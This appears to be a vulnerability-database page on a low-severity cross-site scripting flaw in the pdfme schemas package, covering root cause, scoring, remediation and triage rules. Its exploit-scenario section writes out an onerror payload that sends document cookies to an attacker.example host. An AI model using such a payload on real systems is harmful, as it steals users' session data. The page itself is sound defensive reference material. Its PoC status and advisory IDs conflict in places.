Skip to main content

pdfme schemas CVE-2026-82865

| EUVDEUVD-2026-68400 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-08-31 VulnCheck GHSA-v7hf-w8f6-4v98
2.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject XSS payload into options.labels override
  2. Delivery
    Victim opens pdfme Designer application
  3. Exploit
    Victim selects multiVariableText field with no variable placeholders
  4. Execution
    i18n label string concatenated into innerHTML unsanitized
  5. Persist
    Arbitrary JavaScript executes in victim browser context
  6. Impact
    Session data or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must be able to influence the options.labels object passed to the pdfme Designer component - this requires either direct code-level access (insider or supply chain), or an application that exposes label customization to end users (PR:L). Exploitation is further gated on the victim opening the Designer and selecting a multiVariableText schema field that contains no {variable} placeholder strings, a non-default field state (AT:P). The Zod validation enforces string type on labels but not content, so no bypass of a content filter is needed once options.labels is reachable. Exploitation is limited to the browser context of the victim user; it does not provide server-side code execution. The attack does not succeed on multiVariableText fields that do contain variable placeholders, as the vulnerable innerHTML branch is only reached in their absence.

Impact

The CVSS 4.0 vector (AV:N/AC:H/AT:P/PR:L/UI:P, score 2.1) accurately captures the multi-condition nature of this vulnerability. Real-world risk is bounded by three compounding requirements: the attacker must have write access to the options.labels configuration passed to the Designer component (PR:L), the attack requires specific state (AT:P - a multiVariableText field with no variable placeholders must be present), and a victim must actively interact with the Designer UI (UI:P). This is not a broadly exploitable internet-facing flaw - it primarily threatens applications where end users can customize Designer label configurations, or where a malicious insider or supply-chain compromise can influence the options object. A PoC is published in the GHSA advisory, lowering the bar for exploitation if prerequisites are met. No CISA KEV listing is present, and EPSS data is not provided in the input. The low CVSS score is consistent with limited impact metrics (VC:L/VI:L) - XSS here enables session context access but not full system compromise.

Exploit ScenarioDerived

An attacker with access to configure a pdfme Designer instance injects a malicious payload such as <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)> as the value for a label key like schemas.mvt.typingInstructions in options.labels. When a victim user opens the Designer and clicks on a multiVariableText field that contains no {variable} placeholders, the injected string is written directly to innerHTML, executing the payload and exfiltrating session cookies or other browser-accessible data. A working PoC is published in GHSA-xgx4-2wgv-4jhm.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAI

Cross-site scripting in @pdfme/schemas before 5.5.10 allows an attacker who can supply the Designer's options.labels configuration to execute arbitrary JavaScript in the browser of any user who opens the Designer and selects a multiVariableText field containing no variable placeholders. The vulnerable sink at propPanel.ts:65-71 concatenates i18n-translated strings directly into innerHTML without HTML encoding; while the adjacent color value is allowlist-validated (showing existing security awareness), the label strings were overlooked. No active exploitation is confirmed, but a proof-of-concept is published in the GHSA advisory. The CVSS 4.0 score of 2.1 reflects multiple required preconditions: attacker control over labels configuration, a specific UI trigger state, and passive victim interaction.

RemediationAI

Upgrade @pdfme/schemas to version 5.5.10 or later, which is the vendor-released patch per the GHSA advisory at https://github.com/pdfme/pdfme/security/advisories/GHSA-xgx4-2wgv-4jhm. If an immediate upgrade is not feasible, restrict which users or roles can supply custom options.labels values to the Designer - specifically preventing untrusted input from reaching the i18n label dictionary. As an additional control, audit any application code that passes user-supplied data into options.labels and apply HTML encoding (e.g., DOMPurify or textContent assignment instead of innerHTML) at the application layer; note this is a workaround and not a substitute for patching. There are no known side effects from upgrading to 5.5.10.

Affected VersionsENISA

schemas 0 <5.5.10

Affected Packages

npm @pdfme/schemas fix: 5.5.10
euvd schemas fix: 5.5.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected package is @pdfme/schemas (CPE: cpe:2.3:a:pdfme:schemas:*:*:*:*:*:*:*:*), the schema rendering layer of the open-source pdfme PDF design framework. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) exists in packages/schemas/src/multiVariableText/propPanel.ts at lines 65-71, where i18n()-returned strings are string-concatenated and assigned to a DOM element's innerHTML property. The i18n() function (packages/ui/src/i18n.ts:903) is a plain dictionary lookup with no HTML encoding. User-supplied options.labels values are deep-merged into this dictionary via AppContextProvider.tsx:57-63 using deepMerge() after only Zod type validation (z.record(z.string(), z.string())), which enforces string type but not content safety. The XSS trigger path is conditional: the vulnerable innerHTML assignment only occurs when no {variable} placeholders are present in the selected multiVariableText field, narrowing the exploitation window.

Know when Schemas gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.4 MEDIUM

Attacker needs PR:L to control options.labels; AC:H and UI:R reflect the conditional trigger state and required victim interaction; S:C and C:L/I:L reflect browser-context XSS scope change.

3.1 AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
High
Attack Requirements
Present
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
CVE Published
Aug 31, 2026 - 10:50 cve.org
LOW 2.1
Patch available
Aug 31, 2026 - 10:16 EUVD

DescriptionCVE.org

pdfme schemas before 5.5.10 contains a cross-site scripting vulnerability in the multiVariableText property panel that assigns unsanitized i18n label values to innerHTML. Attackers who control label overrides through options.labels can inject arbitrary JavaScript that executes when users open the Designer and select a multiVariableText field without variable placeholders.

Threat Intelligence Overview

EPSS Score
0.1%
Top 97% exploitable
Prevalence
Medium
popular open-source JavaScript PDF generation library
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy